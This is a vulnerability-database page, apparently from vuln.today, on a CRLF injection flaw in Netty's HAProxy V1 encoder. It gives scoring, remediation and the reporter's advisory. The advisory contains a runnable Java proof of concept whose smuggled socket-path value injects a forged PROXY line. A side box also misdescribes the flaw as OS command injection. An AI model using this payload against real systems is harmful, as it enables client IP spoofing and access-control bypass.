Skip to main content

Netty codec-haproxy EUVDEUVD-2026-50438

| CVE-2026-59919 MEDIUM
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-07-22 https://github.com/netty/netty GHSA-wh89-7897-x99h
5.5
CVSS 3.1 · Vendor: https://github.com/netty/netty
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker supplies CRLF-embedded AF_UNIX socket path via upstream network input
  2. Delivery
    Application passes malicious address to HAProxyMessage AF_UNIX constructor
  3. Exploit
    Netty encodeV1() writes address to wire without CRLF validation
  4. Execution
    Backend receives two PROXY protocol lines
  5. Persist
    Backend parses injected second PROXY line
  6. Impact
    Backend assigns forged client IP identity to connection

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
Exploitation Conditions

Exploitation requires all three of the following conditions simultaneously: (1) the application uses Netty's HAProxyMessageEncoder to encode HAProxy V1 (text-format) PROXY protocol headers - V2 binary encoding is not affected; (2) the application constructs HAProxyMessage objects using the AF_UNIX address family (UNIX_STREAM or UNIX_DGRAM) rather than IPv4 or IPv6 - the latter two are not vulnerable because their format validators implicitly reject CRLF; (3) an attacker can influence the string passed as sourceAddress or destinationAddress to HAProxyMessage, for example through upstream network traffic forwarded into the socket path, externally-controlled configuration input, or dynamic path construction in multi-tenant proxies. Exploitation is further limited on the backend side to implementations that parse and act on a second PROXY line rather than treating it as a protocol error. Applications that derive AF_UNIX paths exclusively from trusted, static internal configuration are not exposed.

Impact

Two conflicting CVSS 3.1 vectors exist in the input data: the advisory author assigned 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N), while the multi-source NVD record scores it 5.5 (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N) - a material disagreement on attack vector and privilege requirements that defenders should explicitly flag when triaging. The correct vector is architecture-dependent: if user- or upstream-controlled data reaches the AF_UNIX address parameter of a network-facing Netty proxy, AV:N applies; if socket paths originate only from local operator configuration, AV:L is more appropriate. No EPSS score was provided and the CVE is absent from CISA KEV, indicating no confirmed mass or targeted exploitation at time of analysis. However, the publicly available, author-verified PoC demonstrably produces the injection on Netty 4.2.12.Final, reducing the skill bar considerably. Impact is confined to integrity (IP spoofing, audit bypass) with no confidentiality or availability dimension. Real-world risk is highest for multi-tenant proxy applications that dynamically construct PROXY headers from upstream, untrusted metadata.

Exploit ScenarioDerived

A publicly available, author-verified proof-of-concept exists and was confirmed on Netty 4.2.12.Final. In a realistic attack against a multi-tenant Netty-based relay, an attacker supplies a crafted AF_UNIX socket path - for example, /var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 - as part of upstream metadata that the relay embeds into a HAProxy V1 PROXY header. The backend receives two PROXY lines and, depending on its parsing implementation, processes the injected second line, causing it to believe the client IP is 10.0.0.1, bypassing IP-based access controls or corrupting audit trail attribution.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

CRLF injection in Netty's HAProxy codec enables PROXY protocol header injection and client IP spoofing when AF_UNIX socket addresses are used with the V1 text protocol. The HAProxyMessageEncoder.encodeV1() method writes source and destination addresses into the CRLF-terminated header without sanitization, while HAProxyMessage.checkAddress() enforces only a length limit for AF_UNIX addresses - unlike IPv4/IPv6 paths whose format validators incidentally block CRLF. A fully functional, author-verified proof-of-concept was confirmed on Netty 4.2.12.Final; no public exploit identified at time of analysis maps to CISA KEV, but the PoC lowers the bar for exploitation in applications that forward attacker-influenced data into AF_UNIX address fields. Vendor-released patches are available as 4.1.136.Final and 4.2.16.Final.

RemediationAI

Upgrade to Netty 4.1.136.Final for 4.1.x deployments or Netty 4.2.16.Final for 4.2.x deployments; both releases are confirmed at https://github.com/netty/netty/releases/tag/netty-4.1.136.Final and https://github.com/netty/netty/releases/tag/netty-4.2.16.Final respectively and are listed as the fix versions in GHSA-wh89-7897-x99h. For applications unable to upgrade immediately, the most targeted compensating control is to validate all AF_UNIX address strings for CR (\r) and LF (\n) characters before passing them to the HAProxyMessage constructor, rejecting or refusing to process any input that contains these bytes - this can be implemented at the application layer without modifying Netty. A secondary control is to restrict the source of AF_UNIX address values to internally-controlled, static configuration rather than upstream-forwarded or user-supplied data; this eliminates the attacker input vector entirely but may not be feasible in dynamic proxy architectures. Note that neither workaround protects third-party code or libraries that also call HAProxyMessageEncoder without applying the same check.

Affected VersionsENISA

netty < 4.1.136.Final
netty 4.2.0.Final, < 4.2.16.Final

Affected Packages

maven io.netty:netty-codec-haproxy fix: 4.1.136.Final, 4.2.16.Final
euvd netty fix: 4.1.136.Final
euvd netty_4_2_0_final fix: 4.2.16.Final

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected artifact is io.netty:netty-codec-haproxy, a module of the Netty asynchronous Java network framework widely used in enterprise middleware, microservice infrastructure, and proxy tooling. The HAProxy PROXY Protocol v1 is a plain-text protocol that prefixes TCP connections with a single CRLF-terminated header line conveying original client IP and port information between load balancers and backends. CWE-93 (Improper Neutralization of CRLF Sequences) is the root cause: HAProxyMessageEncoder.encodeV1() calls writeCharSequence() with raw address strings - including AF_UNIX socket paths - without scanning for \r or \n characters. HAProxyMessage.checkAddress() applies strict format validation to IPv4 and IPv6 inputs (rejecting any non-conforming characters), but for AF_UNIX (UNIX_STREAM / UNIX_DGRAM) it enforces only a 108-byte length ceiling, permitting arbitrary byte sequences including CRLF. Embedding \r\n in the address field splits the single PROXY header line into two, injecting a second, attacker-controlled PROXY line onto the wire.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/netty/netty) PRIMARY 5.5 MEDIUM
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
vuln.today AI 5.9 MEDIUM

Network exploitation is plausible when attacker data reaches the AF_UNIX address field, but AC:H reflects the required specific application architecture; no confidentiality or availability impact applies.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 5.5 MEDIUM

Primary rating from Vendor (https://github.com/netty/netty).

CVSS VectorVendor: https://github.com/netty/netty

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

DescriptionCVE.org

Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-haproxy)
Componentio.netty.handler.codec.haproxy.HAProxyMessageEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences
ImpactHAProxy PROXY Protocol Injection / Client IP Spoofing
CVSS 3.1 Score7.5 (High)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

2. Affected Components

  • io.netty.handler.codec.haproxy.HAProxyMessageEncoder - encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation
  • io.netty.handler.codec.haproxy.HAProxyMessage - constructor checkAddress() validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)

3. Vulnerability Description

Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.

Root Cause - Encoder

java
// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
    out.writeBytes(TEXT_PREFIX);                                    // "PROXY "
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    // ...
    out.writeByte((byte) '\r');
    out.writeByte((byte) '\n');
}

Root Cause - Insufficient Address Validation

java
// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
    switch (addrFamily) {
        case AF_UNIX:
            ObjectUtil.checkNotNull(address, "address");
            if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
                throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
            }
            return;  // ONLY checks length <= 108, NO CRLF validation!
        case AF_IPv4:
            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF
        case AF_IPv6:
            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF
    }
}

IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 - any characters including CRLF are accepted.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers
  2. AF_UNIX (UNIX_STREAM or UNIX_DGRAM) addresses contain user-controlled input
  3. The encoded PROXY header is sent to a downstream server or load balancer

Affected use cases:

  • PROXY protocol relays that construct AF_UNIX messages from upstream data
  • Load balancer integrations where socket paths come from configuration or external sources
  • Multi-tenant proxies that dynamically construct PROXY headers

5. Attack Scenario

Client IP Spoofing via Second PROXY Line Injection

java
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";

HAProxyMessage msg = new HAProxyMessage(
    HAProxyProtocolVersion.V1,
    HAProxyCommand.PROXY,
    HAProxyProxiedProtocol.UNIX_STREAM,
    maliciousAddr,                    // CRLF-injected source address
    "/var/run/dest.sock",
    0, 0);

Wire format sent to backend:

PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0

The backend receives two PROXY lines. Depending on implementation:

  • HAProxy: may use the first line and ignore the second
  • Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1
  • This enables client IP spoofing - the backend believes the client is 10.0.0.1 when it's not

6. Proof of Concept

Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)

java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;

public class HAProxyUnixCRLFPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");

        String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
        String destAddr = "/var/run/dest.sock";

        HAProxyMessage msg = new HAProxyMessage(
            HAProxyProtocolVersion.V1,
            HAProxyCommand.PROXY,
            HAProxyProxiedProtocol.UNIX_STREAM,
            maliciousAddr, destAddr, 0, 0);

        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
        ch.writeOutbound(msg);

        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }

        int proxyCount = 0;
        for (String line : encoded.split("\r\n")) {
            if (line.startsWith("PROXY")) proxyCount++;
        }
        System.out.println("PROXY lines: " + proxyCount);
        System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
    }
}

How to Compile and Run

bash
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HAProxy AF_UNIX CRLF Injection PoC ===

[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
  Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
  Wire format:
    PROXY UNIX_STREAM /var/run/app.sock\r
    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r

  PROXY lines found: 2
  VULNERABLE: YES - Second PROXY line injected!

7. Remediation Recommendations

Option 1: Validate AF_UNIX Addresses for CRLF

java
// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
    ObjectUtil.checkNotNull(address, "address");
    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
    if (addrBytes.length > 108) {
        throw new IllegalArgumentException("invalid AF_UNIX address: too long");
    }
    for (byte b : addrBytes) {
        if (b == '\r' || b == '\n') {
            throw new IllegalArgumentException(
                "AF_UNIX address contains prohibited CRLF character");
        }
    }
    return;

Option 2: Validate in Encoder

java
// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
    for (int i = 0; i < address.length(); i++) {
        char c = address.charAt(i);
        if (c == '\r' || c == '\n' || c == ' ') {
            throw new HAProxyProtocolException(
                "V1 address contains prohibited character at index " + i);
        }
    }
}

8. References

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 75 maven packages depend on io.netty:netty-codec-haproxy (3 direct, 72 indirect)

Ecosystem-wide dependent count for version 4.2.0.Final.

Threat Intelligence Overview

EPSS Score
0.1%
Top 99% exploitable
Prevalence
High
widely used Java async networking library across enterprise middleware
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Development Tools 15 SP7 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy